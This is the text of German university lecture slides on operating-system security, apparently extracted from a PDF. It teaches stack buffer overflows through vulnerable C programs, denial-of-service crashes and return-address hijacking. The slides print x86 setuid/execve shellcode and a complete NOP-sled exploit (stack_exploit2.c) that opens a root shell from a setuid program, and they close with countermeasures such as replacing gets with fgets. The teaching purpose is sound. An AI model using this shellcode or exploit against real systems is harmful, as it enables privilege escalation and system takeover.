/* lokale Variable auf dem Stack */
buff [0] = 6;
buff [1] = a ;
return 6;
}
int main ( void ) {
int i = 1;
/* lokale Variable auf dem Stack */
i = funktion ( 1,2,3 ); /* Argumente , welche an die Funktion
¨
u bergeben und auf dem Stack
gespeichert werden */
return 0;
}
Stack nach Kopieren der aktuellen Parameter, vor dem Aufruf
funktion(1,2,3):
i=1
3
2
1
R¨
ucksprungadresse ← i = funktion(1,2,3) in main
frei
32 / 85
Betriebssysteme - Sicherheit → alois.schuette@h-da.de Version: WS2014(967c57d)
Puffer¨
uberl¨
aufe
Stack Funktionsprinzip
1
2
3
4
5
6
void funktion ( int a , int b , int c ) {
char buff [10];
/* lokale Variable auf dem Stack */
buff [0] = 6;
buff [1] = a ;
return 6;
}
Stack nach Aufruf von i=funktion(1,2,3), vor Termination der
Funktion:
i=1
✻
3
main()
2
1
← buff[16]
R¨
ucksprungadresse
❄
✻
Framepointer
?
?
buff[9]
buff[8]
funktion()
buff[7] buff[6] buff[5] buff[4]
buff[3]
buff[2] buff[1]
frei
’6’
❄
33 / 85
Betriebssysteme - Sicherheit → alois.schuette@h-da.de Version: WS2014(967c57d)
Puffer¨
uberl¨
aufe
Stack Funktionsprinzip
1
2
3
4
5
6
8
9
10
11
12
13
14
void funktion ( int a , int b , int c ) {
char buff [10];
/* lokale Variable auf dem Stack */
buff [0] = 6;
buff [1] = a ;
return 6;
}
int main ( void ) {
int i = 1;
/* lokale Variable auf dem Stack */
i = funktion (1 ,2 ,3); /* Argumente , welche an die Funktion
¨
u bergeben und auf dem Stack
gespeichert werden */
return 0;
}
Stack nach Aufruf von i=funktion(1,2,3), nach Termination der
Funktion:
i=6
frei
34 / 85
Betriebssysteme - Sicherheit → alois.schuette@h-da.de Version: WS2014(967c57d)
Puffer¨
uberl¨
aufe
Schwachstellen
Schwachstellen
Eine Stackbasierte Buffer-Overflow Schwachstelle entsteht, wenn die
Verwaltungsinformation auf dem Stack manipuliert wird, indem z.B.
ein statisches Array mit mehr Werten gef¨
ullt wird, als es gross ist.
35 / 85
Betriebssysteme - Sicherheit → alois.schuette@h-da.de Version: WS2014(967c57d)
Puffer¨
uberl¨
aufe
Schwachstellen
Beispiel
¨
Im folgenden Beispiel wird es einen solchen Uberlauf
geben, wenn das
Programm mit einem Argument aufgerufen wird, das zu lang ist. stack bof.c
1
2
4
5
6
7
9
10
11
12
13
14
15
16
17
# include < stdio .h >
# include < string .h >
void funktion ( char * args ) {
char buff [12];
←
strcpy ( buff , args );
←
}
int main ( int argc , char * argv []){
printf ( " Eingabe : " );
if ( argc > 1) {
funktion ( argv [1]);
printf ( " % s \ n " , argv [1]);
} else
printf ( " Kein Argument !\ n " );
return 0;
}
$ stack_bof 123456
Eingabe : 123456
$ stack_bof 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6
Speicherzugriffsfehler
$
36 / 85
Betriebssysteme - Sicherheit → alois.schuette@h-da.de Version: WS2014(967c57d)
Puffer¨
uberl¨
aufe
Schwachstellen
1
2
3
4
void funktion ( char * args ) {
char buff [12];
←
strcpy ( buff , args );
←
}
$ stack_bof 123456
Eingabe : 123456
$ stack_bof 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6
Speicherzugriffsfehler
$
Der Grund des Absturzes ist, dass die R¨
ucksprungadresse
u
¨berschreiben wurde und der Versuch an die u
¨berschriebene Adresse zu
springen, einen Speicherzugriffsfehler erzwungen hat.
✻
main()
’4’
’3’
’2’
’1’
’0’
’9’
’8’
’7’
’6’
’5’
’4’
’3’
’2’
’1’
’0’
’9’
buff[7] buff[6] buff[5] buff[4]
’8’
’7’
’6’
’5’
buff[3] buff[2] buff[1] buff[0]
’4’
’3’
’2’
’1’
R¨
ucksprungadresse
Framepointer
❄
✻
buff[11]buff[10]buff[9]buff[8]
funktion()
❄
frei
frei
37 / 85
Betriebssysteme - Sicherheit → alois.schuette@h-da.de Version: WS2014(967c57d)
Puffer¨
uberl¨
aufe
Angriffsm¨
oglichkeiten - Denial of Service Attacken
Angriffsm¨oglichkeiten - Denial of Service Attacken
Das Abschiessen“ von Service-Programmen nennt man auch Denial
”
of Service Attacke. Eine M¨
oglichkeit, dies zu tun besteht im Ausnutzen
von Puffer¨
uberl¨aufen die dann zum Absturz des Service-Programms
f¨
uhren – der Service steht dann nicht mehr zur Verf¨
ugung.
Das folgende Programm realisiert einen Service (auf Socket Basis), der
auf den Port 7777 h¨
ort und dem Benutzer bei Anfragen zur Eingabe
auffordert, dann den Eingabewert zur¨
uck liefert.
dos.c
1
2
3
4
5
6
7
9
10
11
# include
# include
# include
# include
# include
# include
# include
< sys / types .h >
< stdio .h >
< sys / socket .h >
< netinet / in .h >
< arpa / inet .h >
< string .h >
< unistd .h >
# define LISTENQ 1024
# define SA struct sockaddr
# define PORT 7777
←
38 / 85
Betriebssysteme - Sicherheit → alois.schuette@h-da.de Version: WS2014(967c57d)
Puffer¨
uberl¨
aufe
Angriffsm¨
oglichkeiten - Denial of Service Attacken
1
2
3
4
5
7
8
9
10
11
12
13
14
15
16
17
void do_sth ( char * str ) {
char buff [24];
strcpy ( buff , str );
printf ( " buff :\ t % s \ n " , buff );
}
int main ( int argc , char * argv []) {
char line [64];
int listenfd , connfd ;
struct sockaddr_in servaddr ; ssize_t n ;
listenfd = socket ( AF_INET , SOCK_STREAM , 0);
←
bzero (& servaddr , sizeof ( servaddr ));
servaddr . sin_family = AF_INET ;
servaddr . sin_addr . s_addr = htonl ( INADDR_ANY );
servaddr . sin_port = htons ( PORT );
bind ( listenfd , ( SA *) & servaddr , sizeof ( servaddr ));
listen ( listenfd , LISTENQ );
←
while (1) {
connfd = accept ( listenfd , ( SA *) NULL , NULL );
write ( connfd , " Eingabe :\ t " , 9);
n = read ( connfd , line , sizeof ( line ) - 1);
line [ n ] = 0;
do_sth ( line );
close ( connfd );
}
19
20
21
22
23
24
25
26
27
←
←
←
←
←
←
}
39 / 85
Betriebssysteme - Sicherheit → alois.schuette@h-da.de Version: WS2014(967c57d)
Puffer¨
uberl¨
aufe
Angriffsm¨
oglichkeiten - Denial of Service Attacken
Der Dienst wird gestartet:
$ dos &
[1] 6814
$ ps
PID TTY
5939 pts /0
pts /0
6820 pts /0
$
←
TIME
00:00:00
00:00:00
00:00:00
CMD
bash
dos
ps
←
Nun kann der Dienst von einem (normalerweise anderen) Rechner in
Anspruch genommen werden:
$ telnet localhost 7777
←
Trying 127.0.0.1...
Connected to localhost .
Escape character is ' ^] '.
Eingabe :
AAAAAAAA
buff :
AAAAAAAA
Connection closed by foreign host .
$
40 / 85
Betriebssysteme - Sicherheit → alois.schuette@h-da.de Version: WS2014(967c57d)
Puffer¨
uberl¨
aufe
Angriffsm¨
oglichkeiten - Denial of Service Attacken
Der Dienst wird abgeschossen“, wenn die Benutzereingabe zu gross ist,
”
weil die Funktion do sth() die Bibliotheksfunktion strcpy() verwendet und
keine L¨angenpr¨
ufung erfolgt (Puffer¨
uberlauf):
$ telnet localhost 7777
←
Trying 127.0.0.1...
Connected to localhost .
Escape character is ' ^] '.
Eingabe :
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
buff :
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Connection closed by foreign host .
[1]+ S p e i c h e r z u g r i f f s f e h l e r dos
←
$ ps
PID TTY
TIME CMD
5939 pts /0
00:00:00 bash
6824 pts /0
00:00:00 ps
$
Der Grund des Absturzes ist auch hier, dass die R¨
ucksprungadresse
u
¨berschreiben wurde und der Versuch an die u
¨berschriebene Adresse zu
springen, einen Speicherzugriffsfehler erzwungen hat.
41 / 85
Betriebssysteme - Sicherheit → alois.schuette@h-da.de Version: WS2014(967c57d)
Puffer¨
uberl¨
aufe
Angriffsm¨
oglichkeiten - Denial of Service Attacken
Das sieht man, indem man den Coredump auswertet (dazu muss man das
Anlegen eines Coredump explizite erlauben):
$ ulimit -c 1000
←
$ telnet localhost 7777
←
Trying 127.0.0.1...
Connected to localhost .
Escape character is ' ^] '.
Eingabe :
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
buff :
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Connection closed by foreign host .
[1]+ S p e i c h e r z u g r i f f s f e h l e r ( core dumped ) dos
←
$ ls
core .6844 dos dos . c
←
$ gdb dos core .6831
←
Core was generated by ` dos '.
Program terminated with signal 11 , Segmentation fault .
...
( gdb ) info registers ebp eip
←
ebp
0 x41414141
0 x41414141
←
eip
0 x41414141
0 x41414141
←
( gdb )
Die R¨
ucksprungadresse (im Register eip) besteht aus
0x4141414141414141 = AAAAAAAA. Das ist keine g¨
ultige Adresse.
Der Framepointer (im Register ebp) ist auch mit A’s u
¨berschrieben.
42 / 85
Betriebssysteme - Sicherheit → alois.schuette@h-da.de Version: WS2014(967c57d)
Puffer¨
uberl¨
aufe
Angriffsm¨
oglichkeiten - Gezielte Modifikation des Programmflusses
Gezielte Modifikation des Programmflusses
Im letzten Beispiel wurde die R¨
ucksprungadresse mit A’s u
¨berschreiben.
Den Programmfluss kann man manipulieren, wenn man die
R¨
ucksprungadresse mit einer g¨
ultigen Adresse u
¨berschreibt.
Es ist also erforderlich,
1
die Speicheradresse zu bestimmen, an der sich die
R¨
ucksprungadresse befindet (diesen Platz wollen wir ja
u
¨berschreiben) und
2
eine neue Adresse zu bestimmen, an der das Programm weiter
machen soll.
Im folgenden Programm gibt es zwei Funktionen:
• oeffentlich()
die soll von einem normalen Benutzer aufgerufen werden;
• geheim()
die soll nur aufgerufen werden, wenn der Superuser das Programm
verwendet.
43 / 85
Betriebssysteme - Sicherheit → alois.schuette@h-da.de Version: WS2014(967c57d)
Puffer¨
uberl¨
aufe
Angriffsm¨
oglichkeiten - Gezielte Modifikation des Programmflusses
1
2
3
4
6
7
8
9
10
11
13
14
void geheim ( void ) {
printf ( " GEHEIM !!!\ n " );
exit (0);
}
void oeffentlich ( char * args ) {
char buff [12];
// Buffer
memset ( buff , 'B ' , sizeof ( buff )); // Fuelle Buffer mit B 's
strcpy ( buff , args );
// Ziel des Angriffs ←
printf ( " \ nbuff : [% s ] (% p )(% d )\ n \ n " , buff , buff , sizeof ( buff ));
}
int main ( int argc , char * argv []) {
int uid ; uid = getuid ();
if ( uid == 0)
geheim ();
16
17
if ( argc > 1) {
printf ( " geheim ()
- >(% p )\ n " , geheim );
printf ( " oeffentlich () - >(% p )\ n " , oeffentlich );
oeffentlich ( argv [1]);
} else
printf ( " Kein Argument !\ n " )
return 0;
19
20
21
22
23
24
25
26
// soll nur ausgefuehrt werden ,
←
// wenn der super - user das Programm startet
←Adresse von geheim
←und oeffentlich
}
44 / 85
Betriebssysteme - Sicherheit → alois.schuette@h-da.de Version: WS2014(967c57d)
Puffer¨
uberl¨
aufe
Angriffsm¨
oglichkeiten - Gezielte Modifikation des Programmflusses
Der Aufruf als normaler Benutzer und root ohne Puffer¨
uberlauf f¨
uhrt zu
dem erwarteten Ergebnis:
$ id
uid =500( as ) gid =100( users )
$ ret AAA
geheim ()
-> (0 x80483f8 )
oeffentlich () -> (0 x8048418 )
buff : [ AAA ] (0 xbfffda60 )(12)
$ su
Password :
# id
uid =0 gid =0
# ret AAA
GEHEIM !!!
#
←
← Adr. geheim
← Adr. oeffentlich
(Adr. buf), (buf.len)
←
←
Die Adresse von geheim ist also 0x80483f8“.
”
Wenn wir nun diese Adresse von geheim() als R¨
ucksprungadresse auf
den Stack bringen, zuvor noch den Framepointer mit Dummies f¨
ullen,
m¨
usste die Prozedur geheim ausgef¨
uhrt werden, auch wenn man nicht
Superuser ist, da aus der Funktion oeffentlich nicht zu main, sondern zu
geheim gesprungen wird.
45 / 85
Betriebssysteme - Sicherheit → alois.schuette@h-da.de Version: WS2014(967c57d)
Puffer¨
uberl¨
aufe
Angriffsm¨
oglichkeiten - Gezielte Modifikation des Programmflusses
✻
main()
R¨
ucksprungadresse
Framepointer
’xf8’ ’x83’ ’x04’ ’x08’
❄
✻
’B’
’B’
’B’
’B’
’A’
’A’
’A’
’A’
buff[7] buff[6] buff[5] buff[4]
’A’
’A’
’A’
’A’
buff[3] buff[2] buff[1] buff[0]
’A’
’A’
’A’
’A’
buff[11]buff[10]buff[9]buff[8]
oeffentlich()
❄
frei
geheim(){...}
oeffentlich(){...}
main(){...}
frei
❘ geheim(){...}
0x80483f8
oeffentlich(){...}
main(){...}
$ id uid =500( as ) gid =100( users )
$ ret ` perl -e '{ print " A " x12 ; print " B " x12 ; print "\ xf8 \ x83 \ x04 \ x08 ";} ' `
geheim ()
-> (0 x80483f8 )
oeffentlich () -> (0 x8048418 )
buff : [ AA AAA AAA AAA ABB B B ø ] (0 xbfffdbf0 )(12)
GEHEIM !!!
$
Achtung: je nach vorhandener Umgebung sind neben dem Framepointer noch weitere Register
gespeichert: → entsprechend viel B’s verwenden (z.B B“x16).
”
46 / 85
Betriebssysteme - Sicherheit → alois.schuette@h-da.de Version: WS2014(967c57d)
Puffer¨
uberl¨
aufe
Angriffsm¨
oglichkeiten - Eingeschleuster Programmkode
Angriffsm¨oglichkeiten - Eingeschleuster Programmkode
Man kann Puffer¨
uberl¨aufe auch verwenden, um eigenen
Programmkode in ein Programm einzuschleusen.
Ein Programm, das in der Lage ist, programmfremden Kode zur
Ausf¨
uhrung zu bringen, besteht aus zwei Teilen:
1
Der Injektion Vector ist der Programmteil, der den Puffer zum
u
¨berlaufen bringt und den Programmfluss so manipuliert, dass der
Payload ausgef¨
uhrt wird.
2
Der Payload ist der eingeschleuste, fremde Programmkode.
H¨aufig verwendete Payloads sind:
• Eintragen von neuen Zeilen in die /etc/passwd mit UID=0
• Virus und Snifferkode
¨
• Offnen
einer Shell mit Root-Berechtigung
¨
Im Folgenden beschr¨anken wir uns auf das Offnen
einer Shell; die anderen
Payload werden mit ¨ahnlicher Technik erstellt.
47 / 85
Betriebssysteme - Sicherheit → alois.schuette@h-da.de Version: WS2014(967c57d)
Puffer¨
uberl¨
aufe
Angriffsm¨
oglichkeiten - Eingeschleuster Programmkode
Angriffsm¨oglichkeiten - Eingeschleuster Programmkode
Man kann Puffer¨
uberl¨aufe auch verwenden, um eigenen
Programmkode in ein Programm einzuschleusen.
Ein Programm, das in der Lage ist, programmfremden Kode zur
Ausf¨
uhrung zu bringen, besteht aus zwei Teilen:
1
Der Injektion Vector ist der Programmteil, der den Puffer zum
u
¨berlaufen bringt und den Programmfluss so manipuliert, dass der
Payload ausgef¨
uhrt wird.
2
Der Payload ist der eingeschleuste, fremde Programmkode.
H¨aufig verwendete Payloads sind:
• Eintragen von neuen Zeilen in die /etc/passwd mit UID=0
• Virus und Snifferkode
¨
• Offnen
einer Shell mit Root-Berechtigung
¨
Im Folgenden beschr¨anken wir uns auf das Offnen
einer Shell; die anderen
Payload werden mit ¨ahnlicher Technik erstellt.
47 / 85
Betriebssysteme - Sicherheit → alois.schuette@h-da.de Version: WS2014(967c57d)
Puffer¨
uberl¨
aufe
Angriffsm¨
oglichkeiten - Eingeschleuster Programmkode
Der Payload soll im Prozessraum des Wirtsprogramms ausgef¨
uhrt
werden. Also muss er in Assemblerkode erstellt und in
Hexadezimalnotaion abgelegt werden.
Das kann man am einfachsten tun, indem man
1
zun¨achst ein C-Programm mit dem gew¨
unschten Payload erstellt,
2
dann das C-Programm in Assembler u
uhrt, um
¨berf¨
letztlich die Hex-Form zu Erzeugen.
3
shell.c
1
2
3
4
5
6
7
# include < stdio .h >
int main ( void ) {
char * name [2];
name [0] = " / bin / sh " ;
name [1] = NULL ;
execve ( name [0] , name , NULL );
}
←
←
¨
→ Ubersetzen
und laufen lassen
48 / 85
Betriebssysteme - Sicherheit → alois.schuette@h-da.de Version: WS2014(967c57d)
Puffer¨
uberl¨
aufe
Angriffsm¨
oglichkeiten - Eingeschleuster Programmkode
¨
Das Ubersetzen
in Assembler (cc -S) f¨
uhrt zu Kode, den man analysieren
und anpassen kann:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$ gcc -S shell . c
$ cat shell . s
. file
" shell . c "
. section
. rodata
. LC0 :
. string " / bin / sh "
. text
. globl main
. type
main , @function
main :
pushl
% ebp
movl
% esp , % ebp
andl
$ -16 , % esp
subl
$32 , % esp
...
movl
% edx , 4(% esp )
movl
% eax , (% esp )
call
execve
leave
ret
. size
main , . - main
. ident " GCC : ( GNU ) 4.5.1 20100924 ( Red Hat 4.5.1 -4) "
. section
. note . GNU - stack , " " , @progbits
$
49 / 85
Betriebssysteme - Sicherheit → alois.schuette@h-da.de Version: WS2014(967c57d)
Puffer¨
uberl¨
aufe
Angriffsm¨
oglichkeiten - Eingeschleuster Programmkode
Nach Anpassungen muss der Kode in Hexnotation gebracht werden:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
char shellcode [] =
/* setuid (0) */
" \ x31 \ xc0 " /* xorl % eax ,% eax */
" \ x31 \ xdb " /* xorl % ebx ,% ebx */
" \ xb0 \ x17 " /* movb $0x17 ,% al */
" \ xcd \ x80 " /* int $0x80 */
/* Shell oeffnen */
" \ xeb \ x1f " /* jmp 0 x1f */
" \ x5e " /* popl % esi */
" \ x89 \ x76 \ x08 " /* movl % esi ,0 x8 (% esi ) */
" \ x31 \ xc0 " /* xorl % eax ,% eax */
" \ x88 \ x46 \ x07 " /* movb % eax ,0 x7 (% esi ) */
" \ x89 \ x46 \ x0c " /* movl % eax ,0 xc (% esi ) */
" \ xb0 \ x0b " /* movb $0xb ,% al */
" \ x89 \ xf3 " /* movl % esi ,% ebx */
" \ x8d \ x4e \ x08 " /* leal 0 x8 (% esi ) ,% ecx */
" \ x8d \ x56 \ x0c " /* leal 0 xc (% esi ) ,% edx */
" \ xcd \ x80 " /* int $0x80 */
" \ x31 \ xdb " /* xorl % ebx ,% ebx */
" \ x89 \ xd8 " /* movl % ebx ,% eax */
" \ x40 " /* inc % eax */
" \ xcd \ x80 " /* int $0x80 */
" \ xe8 \ xdc \ xff \ xff \ xff " /* call -0 x24 */
" / bin / sh " ; /* . string \"/ bin / sh \" */
Der fremde Kode muss also wie o.a. Beschaffen sein, damit eine Shell
damit ge¨
offnet werden kann.
50 / 85
Betriebssysteme - Sicherheit → alois.schuette@h-da.de Version: WS2014(967c57d)
Puffer¨
uberl¨
aufe
Angriffsm¨
oglichkeiten - Eingeschleuster Programmkode
Eine ausf¨
uhrliche Anleitung, wie man aus C-Kode ausf¨
uhrbaren Hex-Kode
erzeugen kann ist zu finden unter
http://wiki.hackerboard.de/index.php/Shellcode (Exploit)
Aus dem Programm:
1
2
3
4
5
6
7
8
# include < stdio .h >
int main ( void ){
char * name [2];
name [0] = " / bin / sh " ;
name [1] = NULL ;
seteuid (0 , 0);
execve ( name [0] , name , NULL );
}
wird dadurch Hex-Kode:
\ x31 \ xc0 \ xb0 \ x46 \ x31 \ xdb \ x31 \ xc9 \ xcd \ x80 \ xeb \ x10 \ x5b \ x31 \ xc0 \ x88
\ x43 \ x07 \ x50 \ x53 \ x89 \ xe1 \ xb0 \ x0b \ x31 \ xd2 \ xcd \ x80 \ xe8 \ xeb \ xff \ xff
\ xff \ x2f \ x62 \ x69 \ x6e \ x2f \ x73 \ x68 \ x23
der dann in einem C-Programm verwendet werden kann:
51 / 85
Betriebssysteme - Sicherheit → alois.schuette@h-da.de Version: WS2014(967c57d)
Puffer¨
uberl¨
aufe
Angriffsm¨
oglichkeiten - Eingeschleuster Programmkode
Shellcode.c
1
2
3
4
6
7
8
9
10
char code []=
" \ x31 \ xc0 \ xb0 \ x46 \ x31 \ xdb \ x31 \ xc9 \ xcd \ x80 \ xeb \ x10 \ x5b \ x31 \ xc0 \ x88 "
" \ x43 \ x07 \ x50 \ x53 \ x89 \ xe1 \ xb0 \ x0b \ x31 \ xd2 \ xcd \ x80 \ xe8 \ xeb \ xff \ xff "
" \ xff \ x2f \ x62 \ x69 \ x6e \ x2f \ x73 \ x68 \ x23 " ;
int main () {
int (* shell )();
shell = code ;
shell ();
}
→ Rechner
52 / 85
Betriebssysteme - Sicherheit → alois.schuette@h-da.de Version: WS2014(967c57d)
Puffer¨
uberl¨
aufe
Angriffsm¨
oglichkeiten - Eingeschleuster Programmkode
Die Frage bleibt, wo man diesen Shellkode plazieren muss.
Es gibt mehrere M¨
oglichkeiten:
¨
• Kopieren in den Uberlaufpuffer
(er muss aber gross genug daf¨
ur sein)
• Ablage in Umgebungsvariablen.
Das folgende Programm stack exploit2.c verwendet als Ablageort den
¨
Uberlaufpuffer
des befallenen Programms stack bof2.c:
53 / 85
Betriebssysteme - Sicherheit → alois.schuette@h-da.de Version: WS2014(967c57d)
Puffer¨
uberl¨
aufe
Angriffsm¨
oglichkeiten - Eingeschleuster Programmkode
angegriffenes Programm stack bof2.c
1
2
4
5
6
7
9
10
11
12
13
14
15
stack bof2.c
# include < stdio .h >
# include < string .h >
void funktion ( char * args ) {
char buff [512];
// Angriffsziel , der U e be rl au f pu ff er soll
strcpy ( buff , args ); // mit fremdem Kode ueb erschrie ben werden
}
←
int main ( int argc , char * argv []) {
if ( argc > 1) {
funktion ( argv [1]);
} else
printf ( " Kein Argument !\ n " );
return 0;
}
$
$ stack_bof02
$
→ Rechner
54 / 85
Betriebssysteme - Sicherheit → alois.schuette@h-da.de Version: WS2014(967c57d)
Puffer¨
uberl¨
aufe
Angriffsm¨
oglichkeiten - Eingeschleuster Programmkode
Der Payload ist in folgendem Programm realisiert und benutzt als
Injection Vektor den Puffer des angegriffenen Programms (buff).
stack exploit2.c
1
2
4
5
6
8
9
10
11
12
13
15
16
17
18
19
20
21
22
# include < stdlib .h >
# include < stdio .h >
# define DEFAULT_OFFSET 0
# define D EFA ULT _BUF FER _ G R
# define NOP 0 x90
512
char shellcode [] =
/* setuid (0) */
" \ x31 \ xc0 " /* xorl % eax ,% eax */
" \ x31 \ xdb " /* xorl % ebx ,% ebx */
" \ xb0 \ x17 " /* movb $0x17 ,% al */
" \ xcd \ x80 " /* int $0x80 */
/* Shell oeffnen */
" \ xeb \ x1f " /* jmp 0 x1f */
" \ x5e " /* popl % esi */
" \ x89 \ x76 \ x08 " /* movl % esi ,0 x8 (% esi ) */
" \ x31 \ xc0 " /* xorl % eax ,% eax */
" \ x88 \ x46 \ x07 " /* movb % eax ,0 x7 (% esi ) */
" \ x89 \ x46 \ x0c " /* movl % eax ,0 xc (% esi ) */
" \ xb0 \ x0b " /* movb $0xb ,% al */
55 / 85
Betriebssysteme - Sicherheit → alois.schuette@h-da.de Version: WS2014(967c57d)
Puffer¨
uberl¨
aufe
Angriffsm¨
oglichkeiten - Eingeschleuster Programmkode
23
24
25
26
27
28
29
30
31
32
34
35
36
37
39
40
41
42
43
45
46
47
48
49
50
" \ x89 \ xf3 " /* movl % esi ,% ebx */
" \ x8d \ x4e \ x08 " /* leal 0 x8 (% esi ) ,% ecx */
" \ x8d \ x56 \ x0c " /* leal 0 xc (% esi ) ,% edx */
" \ xcd \ x80 " /* int $0x80 */
" \ x31 \ xdb " /* xorl % ebx ,% ebx */
" \ x89 \ xd8 " /* movl % ebx ,% eax */
" \ x40 " /* inc % eax */
" \ xcd \ x80 " /* int $0x80 */
" \ xe8 \ xdc \ xff \ xff \ xff " /* call -0 x24 */
" / bin / sh " ; /* . string \"/ bin / sh \" */
unsigned long
GetESP ( void ) {
__asm__ ( " movl % esp ,% eax " );
}
int main ( int argc , char * argv []) {
char * buff , * zgr ;
long * adr_zgr , adr ;
int offset = DEFAULT_OFFSET , bgr = D E F A U L T _ B U F F E R _ G R ;
int i ;
if ( argc > 1) bgr = atoi ( argv [1]);
if ( argc > 2) offset = atoi ( argv [2]);
if (!( buff = malloc ( bgr ))) {
printf ( " Fehler bei der S p e i c h e r r e s e r v i e r u n g .\ n " );
exit (1);
}
56 / 85
Betriebssysteme - Sicherheit → alois.schuette@h-da.de Version: WS2014(967c57d)
Puffer¨
uberl¨
aufe
Angriffsm¨
oglichkeiten - Eingeschleuster Programmkode
adr = GetESP () - offset ;
fprintf ( stderr , " ESP : 0 x % x \ n " , GetESP ());
fprintf ( stderr , " ESP mit Offset : 0 x % x \ n " , adr );
52
53
54
zgr = buff ;
adr_zgr = ( long *) zgr ;
for ( i = 0; i < bgr ; i +=4)
*( adr_zgr ++) = adr ;
56
57
58
59
for ( i = 0; i < bgr /2; i ++)
buff [ i ] = NOP ;
61
62
zgr = buff + (( bgr /2) - ( strlen ( shellcode )/2));
for ( i = 0; i < strlen ( shellcode ); i ++)
*( zgr ++) = shellcode [ i ];
64
65
66
buff [ bgr - 1] = ' \0 ';
printf ( " % s " , buff );
68
69
return 0;
71
72
}
57 / 85
Betriebssysteme - Sicherheit → alois.schuette@h-da.de Version: WS2014(967c57d)
Puffer¨
uberl¨
aufe
Angriffsm¨
oglichkeiten - Eingeschleuster Programmkode
Unter der Annahme, stack bof2 ist ein setuid Root-Programm, kann
man eine Root-Shell mittels des folgenden Aufrufs o
¨ffnen:
$ id
uid =500( as ) gid =100( users )
$ stack_bof2 ` stack_explo it2 536 `
←
ESP : 0 xfef998e8
ESP mit Offset : 0 xfef998f8 sh -2.05 $
sh -2.05 $ id
uid =0 gid =0
←
sh -2.05 $
• stack exploit2 erzeugt auszuf¨
uhrenden Shellkode, der in buff kopiert
wird. Dabei wird R¨
ucksprungadresse so manipuliert, dass der Kode
ausgef¨
uhrt wird.
¨
• Das Starten des Programms stack buf2 bewirkt das Offnen
einer
Root-Shell, obwohl das nie in dem Programm programmiert wurde.
58 / 85
Betriebssysteme - Sicherheit → alois.schuette@h-da.de Version: WS2014(967c57d)
Gegenmassnahmen
Gegenmassnahmen
1 Einf¨
uhrung
2 Benutzer-Authentifizierung
3 Puffer¨
uberl¨aufe
4 Gegenmassnahmen
¨
Uberblick
Sichere Programmierung
Source Code Audits
Automatisierte Softwaretests
Binary Audits
Compilererweiterungen
59 / 85
Betriebssysteme - Sicherheit → alois.schuette@h-da.de Version: WS2014(967c57d)
Gegenmassnahmen
¨
Uberblick
¨
Uberblick
Die (leider) heute g¨angige Praxis, mit Software-Schwachstellen
umzugehen ist:
1
Erstellung von Software ohne besondere Beachtung von
sicherheitsrelevanten Aspekten.
2
Verkauf der Software.
3
Eine Schwachstelle wird entdeckt und ein Exploit wird entwickelt
(meist durch Hacker).
4
Der Hersteller stellt einen Patch bereit.
5
Ein Bugreport wird in Mailinglisten ver¨
offentlicht, der
Systembetreuer auffordert, den Patch einzuspielen.
Welche Nachteile hat diese Methode
(Ihre Erfahrungen interessieren hier)?
60 / 85
Betriebssysteme - Sicherheit → alois.schuette@h-da.de Version: WS2014(967c57d)
Gegenmassnahmen
¨
Uberblick
Besser als im Nachhinein aktiv zu werden ist es, vor dem Verkauf der
Software, Schwachstellen zu erkennen:
• w¨
ahrend der Programmentwicklung (sichere Programmierung),
• durch Audits nach der Programmerstellung,
• Compilererweiterungen und
• Prozesserweiterungen.
61 / 85
Betriebssysteme - Sicherheit → alois.schuette@h-da.de Version: WS2014(967c57d)
Gegenmassnahmen
Sichere Programmierung
Sichere Programmierung
In der C-Standardbibliothek existieren einige Funktionen, die als
risikobehaftet“ bekannt sind und deshalb nicht verwendet werden
”
sollten.
Einige dieser Funktionen werden gezeigt und Alternativen diskutiert.
62 / 85
Betriebssysteme - Sicherheit → alois.schuette@h-da.de Version: WS2014(967c57d)
Gegenmassnahmen
Sichere Programmierung
gets → fgets
gets dient dazu, einer Zeile von der Standardeingabe einzulesen und in
einem Puffer zu speichern.
Da man den Puffer zur im Programm anlegen muss, also eine Gr¨osse
angeben muss, kann nie verhindert werden, dass mehr eingaben gemacht
werden, als der Puffer gross ist.
gets.c
1
2
3
4
5
6
7
# include < stdio .h >
int main ( void ) {
char buff [24];
printf ( " Eingabe : " );
gets ( buff );
return 0;
}
← was passiert bei Eingaben > 24?
63 / 85
Betriebssysteme - Sicherheit → alois.schuette@h-da.de Version: WS2014(967c57d)
Gegenmassnahmen
Sichere Programmierung
gets → fgets
1
2
3
4
5
6
int main ( void ) {
char buff [24];
printf ( " Eingabe : " );
gets ( buff );
return 0;
}
← was passiert bei Eingaben > 24?
Der Compiler warnt schon vor der Verwendung von gets!
$ make gets
cc
gets . c
-o gets
/ tmp / ccuLyf47 . o (. text +0 x28 ): In function ` main ':
: warning : the ` gets ' function is dangerous and should not be used .
$
$ gets
Eingabe : A A A A A A A A A A A A A A A A A A A A A A A A B B B B B B B B B B B B B B B B B B B B B
Speicherzugriffsfehler
$
←
Offensichtlich wurde der Puffer buff u
¨ber seine Grenzen hinweg u
¨berschrieben
und Verwaltungs- information, wie Framepointer oder R¨
ucksprungadresse mit
B’s f¨
uhren zu dem Speicherzugriffsfehler.
Also: stets auf gets verzichten!
64 / 85
Betriebssysteme - Sicherheit → alois.schuette@h-da.de Version: WS2014(967c57d)
Gegenmassnahmen
Sichere Programmierung
gets → fgets
Die Alternative f¨
ur gets ist die Funktion fgets, beider die Anzahl der von
stdin gelesenen Bytes angegeben werden muss:
$ man fgets
# include < stdio .h >
char * fgets ( char *s , int size , FILE * stream );
fgets () liest h¨
o chstens size minus ein Zeichen von stream und speichert
sie in dem Puffer , auf den s zeigt . Das Lesen stoppt nach einem EOF
oder Zei lenvorsc hub . Wenn ein Zeil envorsch ub gelesen wird , wird er in
dem Puffer gespeichert . Ein ’ \0 ’ wird nach dem letzten Zeichen im
Puffer gespeichert .
fgets.c
# include < stdio .h >
int main ( void ) {
char buff [24];
printf ( " Eingabe : " );
fgets ( buff , 24 , stdin );
return 0;
}
←
65 / 85
